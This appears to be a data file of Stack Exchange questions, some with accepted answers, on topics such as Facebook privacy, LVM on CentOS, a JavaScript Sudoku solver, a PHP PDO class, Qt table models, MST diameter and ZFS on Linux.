{  "id": "_webapps.31594"  , "question": "Me and all my friends Facebook accounts this week seem to have a huge breach of privacy. Sidelined on everybody's timeline is a strip with year/month navigation. Clicking on a year jumps to the top of that stream. Highlighted here is a box saying NNN friends posted on XYZ's timeline. and proceeds to list them.At first glance, this looks like wall posts, but digging in to older years it looks like huge numbers of private messages are now showing up there in well. In fact there is a series of warnings being forwarded chain letter style in my friends status updates about this privacy breach.I've seen several news articles saying that these are not actually private messages but only wall posts. Looking through my own and my friends walls, this seems preposterous, there are huge numbers of messages that would certainly have been private.Why did these private messages start showing in my timeline and how can I remove them? Is there a way to do it without also removing all normal wall posts from my timeline?"  , "title": "Why are private messages all over Facebook timelines?"  , "tags": "facebook;privacy;facebook timeline"  } 
{  "id": "_softwareengineering.338140"  , "question": "Most answers I see online are You don't need a contract to consume RESTful services. But currently, consuming endpoints is one of the biggest time commitment issues in our .NET environment. Oh how easy it would be to consume a WADL.For example take this WADL. This is something that needs to be consumed.<resources base=http://domain/api/rest/>    <resource path=AssignID>            <method id=assignId name=POST>            <request>                <ns2:representation xmlns:ns2=http://wadl.dev.java.net/2009/02 xmlns= element=StudentObject mediaType=application/xml/>            </request>            <response>                <ns2:representation xmlns:ns2=http://wadl.dev.java.net/2009/02 xmlns= element=StudentAssignmentResult mediaType=application/xml/>            </response>            </method>    </resource>... two hundred more methods/resources</resources>And all I need to do is call a very simple method.StudentAssignmentResult stuResult = AssignID.assignId(Wadl.Post, StudentObject stuObj);If your endpoint needed something like thisapi/rest/AssignID/assignId/{name}/{ssn}This would just become a method parameter. StudentAssignmentResult stuResult2 = AssignId.assignId(Wadl.Get, UriString name, UriInt ssn);"  , "title": "Has Anyone Included Consuming WADL in .Net Yet?"  , "tags": "api;api design"  } 
{  "id": "_unix.327920"  , "question": "I just installed a fresh server with CENTOS 7 Minimal on it and i configured my SSH,FTP,SMB... But then when i tried to create a physical volume on a disk the CLI returned that none of the LVM (Logical Volumes) commands are found so i tried to install a lvm package but there wasn't any so i started google -ing my problem but i couldn't find anyone with the same problem, solution or even any documentation on the absence of the LVM in the minimal package of Cenots 7 1151. So my Question is how can i install the lvm commands so i can manage my storage on this server, which i had and still am planing on using as my main storage server"  , "title": "LVM absent Centos 7 Minimal"  , "tags": "linux;centos;lvm;storage"  } 
{  "id": "_unix.74101"  , "question": "I have a system with an unrecoverable /usr partition.  Terrified the drives are going bad, I've got it booted into a LiveCD environment, and I can't remember what the install architecture was, the most I have is it's CentOS 5.5.Because of the Live environment, none of the standard methods work such as uname or checking /proc.Here is the kernel that was used: vmlinuz-2.6.18-194.32.1.el5Is there anything I can scan the file for to figure out if the architecture is 32 or 64 bit?Or something else I can look at on the file system?  Nothing in /usr will work because that partition is now dead."  , "title": "Determining Linux architecture from files"  , "tags": "linux;centos;cpu architecture"  } 
{  "id": "_softwareengineering.338180"  , "question": "I have a question about the object X.equals(Y).I use Sonar and it says that I have to move the  string literal on the left side of this string comparison:  !date.equals().So I did that: !().equals(date) but I don't really know if it is right or not."  , "title": "Question about the Java objects' equals() method"  , "tags": "java"  } 
{  "id": "_cs.76922"  , "question": "Let $\\Phi$ be a k-CNF and $\\Phi_{min}$ be a minimal CNF (one that contains smallest amount of literal occurences) that is equal to $\\Phi$.Can $\\Phi_{min}$ contain a clause of size $m > k$?What I have tried:Let's define the concept of partial assignment: asingnment that has free variables. Example: $x_1 = 0, x_2 = \\{0\\ ,1\\}, x_3 = 1$. Here $x_2$ is a free variable.If $\\Phi$ contains clause $C(p)$, then $\\Phi(\\overline p) =0$.Example: $\\Phi = (x_1\\lor x_2\\lor x_3)\\land (x_2\\lor x_3\\lor x_4)$. Here $\\Phi(x_1=0,x_2=0,x_3=0)=0$.Going further, if $\\Phi$ is k-CNF, it means that shortest unsatisfied partial assignment has length $l\\leq k$.Also, formula already contains info about all unsatisfied partial assignments.P.1 and p.2 says, that we don't need to use partial assignment of length $l>k$ to express the formula.One more statement, $\\Phi(p)=0\\Rightarrow \\Phi(p, x_i)=0$, where $x_i$ is fixed variable that is not in $p$.Here is where I got stuck: $\\Phi_{min}$ contains smallest amount of shortest inverted partial assignments of formula $\\Phi$. Let's say that each of partial assignments $p_1, p_2$ has length $l$, such that $\\Phi(p_1) =0, \\Phi(p_2)=0$. Can we change them to one longer partial assignment $p$?Restrictions are following: if you'll change or remove any variable in $p_1$ or $p_2$ (we'll call them $p'_1$ and $p'_2$ respectively), then $\\Phi(p'_1) = 1$ and $\\Phi(p'_2)=1$.Intuitively it seems that they can't be combined, but what about logic?"  , "title": "Can minimal CNF contain clause longer than initial CNF?"  , "tags": "boolean algebra;normal forms"  } 
{  "id": "_codereview.32138"  , "question": "I wrote DSSudokuSolver - a sudoku solving algorithm a while back. Is there any possibility that this algorithm can be improved?Original Algorithm:CleanElements = function(comp_ary, Qsudoku){    for(i=0; i<9; i++){        for(j=0; j<9; j++){            /*if(Qsudoku[i][j] != ){              comp_ary[i][j]=[];              }*/            for(k=0; k<9; k++){                i_index = comp_ary[i][k].indexOf(Qsudoku[i][j]);                if(i_index != -1){                    comp_ary[i][k].splice(i_index, 1);                }                j_index = comp_ary[k][j].indexOf(Qsudoku[i][j]);                if(j_index != -1){                    comp_ary[k][j].splice(j_index, 1);                }            }            if(i < 3){                i_min = 0;                i_max = 2;            }            else if(i < 6){                i_min = 3;                i_max = 5;            }            else{                i_min = 6;                i_max = 8;            }            if(j < 3){                j_min = 0;                j_max = 2;            }            else if(j < 6){                j_min = 3;                j_max = 5;            }            else{                j_min = 6;                j_max = 8;            }            for(i_box=i_min; i_box<=i_max; i_box++){                for(j_box=j_min; j_box<=j_max; j_box++){                    index = comp_ary[i_box][j_box].indexOf(Qsudoku[i][j]);                    if(index != -1){                        comp_ary[i_box][j_box].splice(index, 1);                    }                }            }        }    }    return comp_ary;}FindElements = function(comp_ary, Qsudoku){    for(i=0; i<9; i++){        for(j=0; j<9; j++){            if(comp_ary[i][j].length == 1){                if (Qsudoku[i][j] == ){                    Qsudoku[i][j] = comp_ary[i][j][0];                    comp_ary[i][j] = [];                }            }        }    }    return Qsudoku;}IsThereNullElement = function(Qsudoku){    for(i=0; i<9; i++){        for(j=0; j<9; j++){            if(Qsudoku[i][j] == ){                return false;            }        }    }    return true;}InitEmptyArray = function(){    empty_ary = Array();    for(i=0; i<9; i++){        empty_ary[i] = Array();        for(j=0; j<9; j++){            empty_ary[i][j] = Array();            for(k=0; k<9; k++){                empty_ary[i][j][k] = (k+1).toString();            }        }    }    return empty_ary;}DSSolve = function(Qsudoku){    comp_ary = InitEmptyArray(); //Complementary Array    window.comp_ary_old = comp_ary;    IterationMax = 5000;    while(true){        IterationMax -= 1;        comp_ary = CleanElements(comp_ary, Qsudoku);        console.log(comp_ary);        if(window.comp_ary_old == comp_ary){            //implement this.        }        else{            window.comp_ary_old = comp_ary;        }        Qsudoku = FindElements(comp_ary, Qsudoku);        //console.log(Qsudoku);        if(IsThereNullElement(Qsudoku)){            return Qsudoku;        }        if(IterationMax == 0){            return null;        }    }}"  , "title": "DSSudokuSolver - A JavaScript Sudoku solving algorithm"  , "tags": "javascript;optimization;algorithm;sudoku"  , "accepted_answer": "It's not a huge improvement, just taking a stab at a few slight tweaks:var sudoku = {    CleanElements:function(comp_ary, Qsudoku){        var i_factor,            j_factor,            i_min,            i_max,            i_index,            j_index,            index;        for(var i=9; i--;){            i_factor = (3*Math.floor(i/3));            i_min = 6 - i_factor;            i_max = 8 - i_factor;            for(var j=9; j--;){                j_factor = (3*Math.floor(j/3));                j_min = 6 - j_factor;                j_max = 8 - j_factor;                for(var k=9; k--;){                    i_index = comp_ary[i][k].indexOf(Qsudoku[i][j]);                    j_index = comp_ary[k][j].indexOf(Qsudoku[i][j]);                    if(i_index !== -1){                        comp_ary[i][k].splice(i_index,1);                    }                    if(j_index !== -1){                        comp_ary[k][j].splice(j_index,1);                    }                }                for(var i_box=i_max; i_box>=i_min; i_box--){                    for(var j_box=j_max; j_box>=j_min; j_box--){                        index = comp_ary[i_box][j_box].indexOf(Qsudoku[i][j]);                        if(index !== -1){                            comp_ary[i_box][j_box].splice(index, 1);                        }                    }                }            }        }        return comp_ary;    },    FindElements:function(comp_ary, Qsudoku){        for(var i=9; i--;){            for(var j=9; j--;){                if(comp_ary[i][j].length === 1){                    // in case you were specifically checking that it was an empty string and not a null / undefined / etc, change to Qsudoku[i][j] === ''                    if (Qsudoku[i][j].length === 0){                        Qsudoku[i][j] = comp_ary[i][j][0];                        comp_ary[i][j] = [];                    }                }            }        }        return Qsudoku;    },    IsThereNullElement:function(Qsudoku){        for(var i=9; i--;){            for(var j=9; j--;){                // same here, change to === '' if specifically needed                if(Qsudoku[i][j].length === 0){                    return false;                }            }        }        return true;    },    InitEmptyArray:function(){        var empty_ary = Array();        for(var i=9; i--;){            empty_ary[i] = Array();            for(var j=9; j--;){                empty_ary[i][j] = Array();                for(var k=9; k--;){                    empty_ary[i][j][k] = (k+1)+'';                }            }        }        return empty_ary;    },    DSSolve:function(Qsudoku){        var self = this,            comp_ary = self.InitEmptyArray(),            Qsudoku;        this.comp_ary_old = comp_ary;        for(var i=5000; i--;){            comp_ary = self.CleanElements(comp_ary, Qsudoku);            // console.log(comp_ary);            if(sudoku.comp_ary_old === comp_ary){                // implement this.            } else {                sudoku.comp_ary_old = comp_ary;            }            Qsudoku = self.FindElements(comp_ary, Qsudoku);            // console.log(Qsudoku);            if(self.IsThereNullElement(Qsudoku)){                return Qsudoku;            }            if(i === 0){                return null;            }        }    }};And then you call it with this (Qsudoku being the value you want to pass in):sudoku.DSSolve(Qsudoku);Quick breakdown of changes:changed all for loops and final while loop to decrement (faster in all browsers)changed == '' to .length === 0 (faster in all browsers)applied strict comparison === rather than implicit == (faster on certain browsers)changed multiple if/else if/else statements to applying Math.floor to compute reduction factorencapsulated all functions within object to allow for use of object comp_ary_old (instead of using window)added explicit var statement for variable declaration (prevents bubbling up to window)moved variables to top of respective function and assigned value at point where the fewest loops occur while retaining value integritychanged the .toString() function to the +'' trick (its a miniscule improvement, more of a squeeze every byte thing, so if you would rather stick with code clarity switch it back to .toString())I haven't tested this at all, so no benchmarks to show if it actually improves performance, but theoretically it should maintain your code operations while executing faster. Figured it was worth a shot, since no one else answered. Hope it helps!"  } 
{  "id": "_softwareengineering.141607"  , "question": "I'm working on a project (for college) in C++.The goal is to write a program that can more or less simulate a beamof particles flying trough the LHC synchrotron. Not wanting to rush into things, me and my team are thinking about how to implement this and I was wondering if there are general design patterns that are used to solve this kind of problem. The general approach we came up with so far is the following:there is a World that holds all objectsyou can add objects to this world such as Particle, Dipole and Quadrupoletime is cut up into discrete steps, and at each point in time, for each Particle the magnetic and electric forces that each object in the World generates are calculated and summed up (luckily electro-magnetism is linear).each Particle moves accordingly (using a simple estimation approach to solve the differential movement equations)save the Particle positionsrepeatThis seems a good approach but, for instance, it is hard to take into account symmetries that might be present (such as the magnetic field of each  Quadrupole) and is this thus suboptimal. To take into account such symmetries as that of the Quadrupole field, it would be much easier to (also) make space discrete and somehow store form of the Quadrupole field somewhere. (Since 2532 or so Quadrupoles are stored this should lead to a massive gain of performance, not having to recalculate each Quadrupole field)So, are there any design patterns? Is the World-approach feasible or is it old-fashioned, bad programming? What about symmetry, how is that generally taken into acount?  "  , "title": "Are there design patterns or generalised approaches for particle simulations?"  , "tags": "c++;object oriented;design patterns"  , "accepted_answer": "Check into the graphics community for particle physics simulations.  There are many existing patterns (physics solvers and such for particle systems), and it is a well-understood concept for that community, and there are many implementations.  You will save yourself a great deal of time."  } 
{  "id": "_unix.15584"  , "question": "I'm just putting together a machine with eight 2TB disks.I will be using Raid 6 (12TB of usable capacity) on top of them, but I'm not sure whether I should make LVM on top of the RAID, or what filesystem to use.What filesystems can be resized when used inside LVM?"  , "title": "Choosing filesystem for a 16TB Raid"  , "tags": "filesystems;lvm;raid"  , "accepted_answer": "With lvm on top of a raid device you are flexible to create multiple virtual devices (and filesystems) on it. And you are flexible to change the size of those devices.If you are 100% sure that you don't need that and you only need one big filesystem, then you can directly create the filesystem on your raid device. One layer of indirection and complexity is removed in that case.To choose a filesystem, the most important points are:should be well tested and stableshould be mainstream enoughgood performance of courseThat means one is usually conservative when it comes to filesystems.Using these criteria you have basically 3 choices on Linux (as of 2011-06:ext3ext4xfsOn big devices I use xfs because a mkfs.xfs is way faster.All of these filesystems can be resized.Update:I did a small benchmark on a 3 TB device (using 4k blocksize in all filesystems):$ awk -F\\; -f mkfs.awk mkfs          FS     SIZE(TB)      TIME(S)      RSS(MB)      SPEEDUP      SPACEUP        ext3            1          217           37         1.00         1.00        ext3            2          478           74         1.00         1.00        ext3            3          829          111         1.00         1.00        ext4            1          139           37         1.55         1.00        ext4            2          298           74         1.60         1.00        ext4            3          515          111         1.61         1.00         xfs            1            5            2        43.23        17.01         xfs            2            9            2        51.43        33.49         xfs            3           15            2        54.73        50.05(The speed/mem-up is against ext3)(System: Debian 6.0 amd64, mkfs.ext 1.41.12, mkfs.xfs 3.1.4, WD SATA drive, hdparm -t about 120 MB/s buffered disk reads)That means mkfsing a ext[34] filesystem is up to 54 times slower than mkfsing a xfs one. Approximating this to a 12 TB creating a ext fs would really take about an hour (xfs only about a minute)."  } 
{  "id": "_codereview.21685"  , "question": "i created a database class from a good tutorial and wanted to put it up here so it would get in some search results. it took me about 2 days to find it. also i added a few custom functions to it.. here it is :P and if there is something that can be done better or more proficiently please feel free to let me know.config.php:// Database Constantsdefined('DB_HOST') ? NULL : define('DB_HOST', 'edit:host');defined('DB_USER') ? NULL : define('DB_USER', 'edit:user');defined('DB_PASS') ? NULL : define('DB_PASS', 'edit:pass');defined('DB_NAME') ? NULL : define('DB_NAME', 'edit:databasename');database.class.php:class Database {private $dbhost = DB_HOST;private $dbuser = DB_USER;private $dbpass = DB_PASS;private $dbname = DB_NAME;private $dbh;private $error;private $stmt;public function __construct() {    // set DSN    $dsn = 'mysql:host=' . $this->dbhost . ';dbname=' . $this->dbname;    // set OPTIONS    $options = array(        PDO::ATTR_PERSISTENT => TRUE,        PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION    );    // Create a new PDO instance    try {        $this->dbh = new PDO($dsn, $this->dbuser, $this->dbpass, $options);    } catch (PDOException $e) {        $this->error = $e->getMessage();    }}public function query($query) {    $this->stmt = $this->dbh->prepare($query);}public function selectQuery($table, $fields, $FieldToQuery, $value) {    try {        if ((gettype($fields) != 'array') || (gettype($value) != 'array')) {            $fields = (array) $fields;            $FieldToQuery = (array) $FieldToQuery;            $value = (array) $value;        }        $holders = $FieldToQuery;        for ($i = 0; $i < count($holders); $i++) {            $holders[$i] = ':' . $holders[$i];        }        $array = array_combine($holders, $value);        $query = 'SELECT ' . implode(',', $fields) . ' FROM ' . $table . ' WHERE ' .         implode(',',$FieldToQuery) . ' = ' . implode(',', $holders);        $this->query($query);        $this->bindArray($array);        $rows = $this->resultset();        return $rows;    } catch (PDOException $e) {        $this->error = $e->getMessage();    }}public function insertQuery($table, $fields, $values) {    try {        if ((gettype($fields) != 'array') || (gettype($values) != 'array')) {            $fields = (array) $fields;            $values = (array) $values;        }        $holders = $fields;        for ($i = 0; $i < count($holders); $i++) {            $holders[$i] = ':' . $holders[$i];        }        $array = array_combine($holders, $values);        $query = 'INSERT INTO ' . $table . '(' . implode(',', $fields)                . ') VALUES (' . implode(',', $holders) . ')';        $this->query($query);        $this->bindArray($array);        $this->execute();    } catch (PDOException $e) {        $this->error = $e->getMessage();    }}public function bindArray($array) {    foreach ($array as $key => $value) {        $this->bind($key, $value);    }}public function bind($param, $value, $type = null) {    if (is_null($type)) {        switch (true) {            case is_int($value):                $type = PDO::PARAM_INT;                break;            case is_bool($value):                $type = PDO::PARAM_BOOL;                break;            case is_null($value):                $type = PDO::PARAM_STR;        }    }    $this->stmt->bindValue($param, $value, $type);}public function execute() {    $this->stmt->execute();}public function resultset() {    $this->execute();    return $this->stmt->fetchAll(PDO::FETCH_ASSOC);}public function single() {    $this->execute();    return $this->stmt->fetchAll(PDO::FETCH_ASSOC);}public function rowCount() {    return $this->stmt->rowCount();}public function lastInsertId() {    return $this->dbh->lastInsertId();}public function beginTransaction() {    return $this->dbh->beginTransaction();}public function endTransaction() {    return $this->dbh->commit();}public function cancelTransaction() {    return $this->dbh->rollBack();}public function debugDumpParams() {    return $this->stmt->debugDumpParams();}}here is the link http://culttt.com/2012/10/01/roll-your-own-pdo-php-class/"  , "title": "PHP PDO Custom class ple"  , "tags": "php;mysql;classes;pdo"  } 
{  "id": "_webapps.53348"  , "question": "With the new (May-2013) version of Google Maps, is it possible to display results for several search queries on the same map--similar to how it worked in classic Google Maps? (see the green marks for McDonalds and red for Burger King on the screenshot below)"  , "title": "display results for multiple queries on new Google Maps: possible; how?"  , "tags": "google maps"  } 
{  "id": "_datascience.22225"  , "question": "I'm using the topicmodels package for R to cluster a big set of short texts (between 10-75 words) into topics. After manually reviewing a few models it seems like there are 20 realtivly stable topics. However, what I find really weird is that they are all roughly the same size! Each topic catches around 5% of tokens and 5% of texts. In terms of the tokens, the smallest topic is 4.5% the largest 5.5%.Can anybody suggest if this a 'normal' behaviour? This is the code I'm using:ldafitted <- LDA(sentences.tm, k = K, method = Gibbs,             control = list(alpha = 0.1, # default is 50/k which would be 2.5.  a lower alpha value places more weight on having each document composed of only a few dominant topics                            delta = 0.1, # default 0.1 is suggested in Griffiths and Steyvers (2004).                            estimate.beta = TRUE,                            verbose = 50, # print every 50th draw to screen                            seed = 5926696,                            save = 0,    # can save model every xth iteration                            iter = 5000,                             burnin = 500,                            thin = 5000, #  every thin iteration is returned for iter iterations. Standard is same as iter                            best = TRUE)) #only the best draw is returnedIn short: My question is if there are circumstances under which it is reasonable that Latent Dirichlet allocation will cluster text in topics of equal size? Or is it something I should be worried if it happens?"  , "title": "Equally sized topics in Latent Dirichlet allocation"  , "tags": "topic model;lda"  } 
{  "id": "_webmaster.86103"  , "question": "Based on the information below, I understand having a datePublished for the actual post on the WordPress blog index page, but it required a datePublished for the actual blog. How does Google treats the datePublished at the LiveBlogPosting level (not the liveBlogUpdate level)? Is it the date that the blog was published? Is it the date of the most recent post that was published? Is it the last date the blog was modified? Or maybe something else? "  , "title": "Two datePublished for LiveBlogPosting"  , "tags": "seo;blog;schema.org;rich snippets;dates"  , "accepted_answer": "From Schema.orgs perspective:The datePublished property for the LiveBlogPosting gives the publication date of the blog post, i.e., when it was first published, typically saying something happened and then the live blogging begins.The datePublished property for each BlogPosting referenced with the liveBlogUpdate property gives the publication date of that update.Both have nothing to do with the date of the last modification. This can be given in the dateModified property: For the LiveBlogPosting you could use dateModified each time another update gets posted, but that would be redundant (as it would be the same date as the datePublished of the newest update). I would only use it for modifications that happen after the live blogging stopped.For the referenced BlogPosting items, you could use dateModified if the update, after it got published, gets modified (but thats probably rather uncommon, as typically a new update gets posted with a correction instead).From Googles perspective, it wouldnt make any sense not to follow Schema.orgs definitions. However, they dont seem to have a Rich Snippet (or similar product) that makes use of LiveBlogPosting (or do they?)."  } 
{  "id": "_codereview.137958"  , "question": "I have subclassed Qt QAbstractTableModel with QJsonDocument as data source which I have reimplemented the setData() method in:bool UeJsonPlacesTableModel::setData(const QModelIndex& index,                                     const QVariant& value,                                     int role){    if(role!=Qt::EditRole||             index.row()<0||             index.row()>=this->m_ueJsonData.isArray()?this->m_ueJsonData.array().size():this->m_ueJsonData.isObject()?this->m_ueJsonData.object().size():0||             index.column()<0||             index.column()>=this->m_ueJsonData.isArray()?this->m_ueJsonData.array().size():this->m_ueJsonData.isObject()?this->m_ueJsonData.object().size()>0?this->m_ueJsonData.object().size():0:0)    {        return false;    }   // if    QVariantList dataList=this->m_ueJsonData.toVariant().toList();    QVariantMap dataVariantMap=this->m_ueJsonData.toVariant().toList().at(index.row()).toMap();    QVariantMap::const_iterator dataIterator=dataVariantMap.constBegin();    int dataIndex=0;    QString keyName=QString();    QString dataValue=QString();    while(dataIterator!=dataVariantMap.constEnd())    {        if(dataIndex==index.column())        {            keyName=dataVariantMap.keys().at(dataIndex);        }        else        {            dataIterator++;            dataIndex++;        }   // if    }   // while    QVariantMap changedData;    changedData.insert(keyName,                       value.toString());    dataList.replace(index.row(),                     changedData);    this->m_ueJsonData=QJsonDocument::fromVariant(dataList);    emit(dataChanged(index,                     index));    return true;}   // setDataMy humble opinion is that the code is very ugly. Can someone show me guidelines for its optimisation?"  , "title": "Reimplemented QAbstractTableModel::setData"  , "tags": "c++;mvc;json;qt"  , "accepted_answer": "if(role!=Qt::EditRole||         index.row()<0||         index.row()>=this->m_ueJsonData.isArray()?this->m_ueJsonData.array().size():this->m_ueJsonData.isObject()?this->m_ueJsonData.object().size():0||         index.column()<0||         index.column()>=this->m_ueJsonData.isArray()?this->m_ueJsonData.array().size():this->m_ueJsonData.isObject()?this->m_ueJsonData.object().size()>0?this->m_ueJsonData.object().size():0:0){Stop. Regardless of what you're doing here, you should not be doing so many things in one condition. This looks like you need to write a new function instead.Talking about functions, they'd greatly improve the readability and maintainability of your code. Now you got everything in one big bool. Your while could use it's own function. The data changing, inserting and replacing could probably use a wrapper as well. If you give those functions meaningful names, the readability will increase big time!Imagine the following:You haven't touched this code in 6 months. Now you want to add a feature. To add this feature, you try to understand how this code works and why you wrote it like this. Since it has been a while, you can't rely on your memory. How long would it take you to grasp the workings of this function?Exactly. Way longer than necessary. Now imagine you share this code. Like you did here. How long does it take someone not familiar with your program to figure it out? Way longer than necessary.For the sake of your future self, improve the readability of the code by splitting things up."  } 
{  "id": "_webapps.73473"  , "question": "I'd like to pass a query param to the form so that it pre-fills at least one of the fields. Is this possible when embedding on a website? "  , "title": "Cognito Forms: pre-fill field with query parameter"  , "tags": "cognito forms"  , "accepted_answer": "I am a developer for Cognito Forms.You can pre-fill select fields on your form by modifying the embed code that you place on your website. First off lets start with your normal embed code:<div class=cognito><script src=https://services.cognitoforms.com/include/required></script><script src=https://services.cognitoforms.com/session/script/iibc3e48-82t9-4642-b097-dp442bc9d123></script><script>Cognito.load(forms, { id: 1 });</script></div>We will be adding new code to the line that contains the script tag:<script>Cognito.load(forms, { id: 1 });</script>We will be pre-filling a name field, by targeting the field by label name, in this case Name:<script>Cognito.load(forms, { id: 1, entry: {Name: {First: John, Last: Smith } });</script>We are targeting the field Name and we are setting the value for First to John, and the value for Last to smith.Once added your new embed code will look like this:<div class=cognito>    <script src=https://services.cognitoforms.com/include/required></script>    <script src=https://services.cognitoforms.com/session/script/iibc3e48-82t9-4642-b097-dp442bc9d123></script>    <script>Cognito.load(forms, { id: 1, entry: {Name: {First: John, Last: Smith } });</script>    </div>The Name field is not the only field that can be pre-filled. You can use this method on any of our other fields, with the exception of the File Upload field."  } 
{  "id": "_webapps.62606"  , "question": "I am using Gmail. I received an e-mail from A, forwarded it to B, and then replied to the A e-mail. Does A see my conversation with B about A email?"  , "title": "Does replying to an e-mail that was forwarded include the original sender in the conversation?"  , "tags": "gmail"  } 
{  "id": "_cs.66166"  , "question": "As my title points out, I don't understand how do you show that, in general, the diameter of a MST (minimal spanning tree) can be bigger than the diameter of G, by the factor $\\Omega(n)$. $(n:= |V|, G =(V,E)) $.And I don't understand, how big is $\\Omega(n)$ and why $\\Omega$?I made a example where the distance of two nodes in $G$ is smaller than the distance of the two nodes in the MST.Is it correct to write,$D_{MST} = D_{G} \\cdot \\Omega(n)$  ?$\\Omega(n) = D_{MST}/D_{G}$ ?$D_{G} =$ diameter of graph $G$ and $D_{MST} =$ diameter of MST."  , "title": "Show that the diameter of a MST is sometimes larger by a factor $\\Omega(n)$ than the diameter of the graph $G$"  , "tags": "graphs;graph theory;spanning trees"  , "accepted_answer": "You say that you don't understand how to show that the diameter of a MST can be $\\Omega(n)$ larger than the diameter of the underlying graph.However, it seems that what you don't understand is what it means that the diameter of a MST can be $\\Omega(n)$ larger than the diameter of the underlying graph.It is impossible to prove a theorem if you don't understand its statement.Here is what you are asked to do. Given a weighted graph $G$, we will use the following notation:$n(G)$ is the number of vertices in $G$.$D(G)$ is the diameter of $G$.$D_{MST}(G)$ is the minimum diameter of a minimum spanning tree of $G$.Give a sequence of graphs $G_i$ such that $n(G_i) \\to \\infty$ and $D_{MST}(G) = \\Omega(n(G)) \\cdot D(G)$.It seems that you are not familiar with the notation $\\Omega(\\cdot)$. It is the counterpart of big O, and described in the answers to this question.Unpacking the big $\\Omega$ notation, we can rephrase the question:Give a sequence of graphs $G_i$ such that $n(G_i) \\to \\infty$ and there exists a constant $C>0$ such that $D_{MST}(G_i) \\geq C n(G_i) D(G_i)$.The question is somewhat ambiguous  it's not clear if you need to provide an example for every $n$ or just for infinitely many $n$. I assumed the latter, but in fact in your case there is a sequence $G_i$ with $n(G_i) = i$, so you can try proving this stronger statement instead."  } 
{  "id": "_webmaster.57736"  , "question": "I'd like to insert an image on a webpage with an alt property. But the text length I'd like to use for this alt property is pretty long: about 200 words (slightly less than 1000 characters). Moreover this text has some line breaks.I have some doubts that such a long alt property won't be appreciated by search engines. So do I need to follow some guidelines regarding the length of an alt property? I have the same question regarding the title property."  , "title": "Are there any length limitations for image alt or title property?"  , "tags": "seo;html;alt attribute;title attribute"  , "accepted_answer": "So do I need to follow some guidelines regarding the length of an alt  property?There is no set maximum length for the value of alt tags, however, most advise for the benefit of sight impaired users to keep it under 125 characters - see this and this.I have the same question regarding the title property.In regards to title attributes, like with the alt text, there is no set maximum length. However, since this is used for tooltip text for an element, usability for the visually impaired should also be considered as the W3 covers here, suggesting that the 125 character size would similar apply. You may also find through browser compatibility testing, that the tooltip will get cutoff after a certain length, varying by browser.Since title property might also refer to title element, search engines like Google will truncate your title element, or even compose their own based on your content, if it's too long. As suggested here by MOZ, the goal should be to keep it to under 70 characters or less:Title Tag: Best Practices for LengthAim for title tags containing fewer than 70 characters. This is the  limit Google displays in search results. Title tags longer than 70  characters may be truncated in the results, or search engines may  choose to display different text from the document in place of the  title tag. Recent experiments have shown that the number of characters  displayed in the search results may also vary based onamong other  thingsthe width in pixels of each letter. 70 characters is still a  good general guideline for length, though."  } 
{  "id": "_softwareengineering.301627"  , "question": "I have a few lists of items (which will likely but not necessarily have common elements). The lists are known to be sorted, but don't have a comparison function (they were manually put into the system in sorted order). I'd like to combine these lists into one list containing all the elements that is in a reasonable order given the existing ones.Obviously there are edge cases and decisions to be made - I'm not too worried about the specifics, but rather I'd like a general approach to tackle the problem. Obviously if the two lists have nothing in common, there isn't much to be done besides appending one to the other, but that won't happen much.As an example:l1 = ['Task A', 'Task B', 'Task C', 'Task D']l2 = ['Task B', 'Task B2', 'Task D', 'Task G']l3 = ['Task A', 'Task C', 'Task E', 'Task D']result = ['Task A', 'Task B', 'Task B2', 'Task C', 'Task E', 'Task D', 'Task G']Again, I realize there is no perfect solution, and the output is not mission critical, I just want it to be reasonably nicely ordered in most cases. Any help would be appreciated."  , "title": "Merging Sorted Lists (with no comparison function)"  , "tags": "algorithms;sorting"  , "accepted_answer": "This is a well-defined problem with a deterministic solution.  You can think of each list as forming part of a directed acyclic graph:Then, constructing a merged order is simply a matter of using one of the well-known algorithms to find a topological sorting.  The more similarities you have between the lists, the fewer valid topological sorts you will have.  If there are no elements in common, the topological sort will work for that case as well.  It will list all possible ways to combine the three lists.  You just have to pick the one that suits you best aesthetically."  } 
{  "id": "_unix.186"  , "question": "Could I get ZFS to work properly in Linux? Are there any caveats / limitations? "  , "title": "ZFS under Linux, does it work?"  , "tags": "linux;filesystems;zfs"  , "accepted_answer": "ZFS is not in the official Linux kernel, and never will be unless Oracle relicenses the code under something compatible with the GPL.This incompatibility is disputed. The main arguments in favor of ZFS being allowed on Linux systems revolve around the so-called arm's length rule. That rule applies in this case only if ZFS is provided as a separate module from the kernel, the two communicate only through published APIs, and both code bases can function independently of each other. The claim then is that neither code base's license taints the other because neither is a derived work of the other; they are independent, but cooperate. Nevertheless, even under this interpretation, it means the ZFS modules must still be shipped separately from the Linux kernel, which is how we see it being provided today by Ubuntu.Quite separately from the CDDL vs GPL argument, NetApp claims they own patents on some technology used in ZFS. NetApp settled their lawsuit with Sun after the Oracle buyout, but that settlement doesn't protect any other Linux distributor. (Red Hat, Ubuntu, SuSE...)As I see it, these are your alternatives:Use btrfs instead, as it has similar features to ZFS but doesn't have the GPL license conflict and has been in the mainline kernel for testing since 2.6.29 (released in January 2009).The main problem with btrfs is that it's had a long history of problems with its RAID 5/6 functionality. These problems are being worked out, but each time one of these problems surfaces, it resets the stability clock.Another concern is that Red Hat have indicated that the next release of Red Hat Enterprise Linux will not include btrfs.One of the reasons Red Hat is taking that position on btrfs is that they have a plan to offer similar functionality using a different technology stack they are calling Stratis. Therefore, another option you have is to wait for Stratis to appear, with 1.0 scheduled for the first half of 2018, presumably to coincide with Red Hat Enterprise Linux 8.Use a different OS for your file server (FreeBSD, say) and use NFS to connect it to your Linux boxesUse ZFS on FUSE, a userspace implementation, which works neatly around the kernel licensing issue at the expense of a significant amount of performanceIntegrate ZFS on Linux after installing the OS.The license conflict makes distributing the combined system outside your organization legally questionable. I am not a lawyer, but my sense is that, patent issues aside, distributing ZFS on Linux is about as worrisome as distributing non-GPL binary drivers (such as those for certain video cards) with the system. If one of these bothers you, the other should, too.Switch to Ubuntu, which has been shipping ZFS kernel modules with the OS since 16.04. Canonical believes that it is legally safe to distribute the ZFS kernel module with the OS itself. You would have to decide whether you trust Canonical's opinion; consider also that they may not be willing to indemnify you if a legal issue comes up.Beware that it is not currently possible to boot from ZFS with Ubuntu without a whole lot of manual hackery.Incidentally, btrfs is also backed by Oracle, but was started years before the Sun acquisition. I don't believe the two will ever merge, or one be deprecated in favor of the other due to the license conflict and patent issue. ZFS is too popular to go away, but there will continue to be demand for a ZFS alternative."  } 
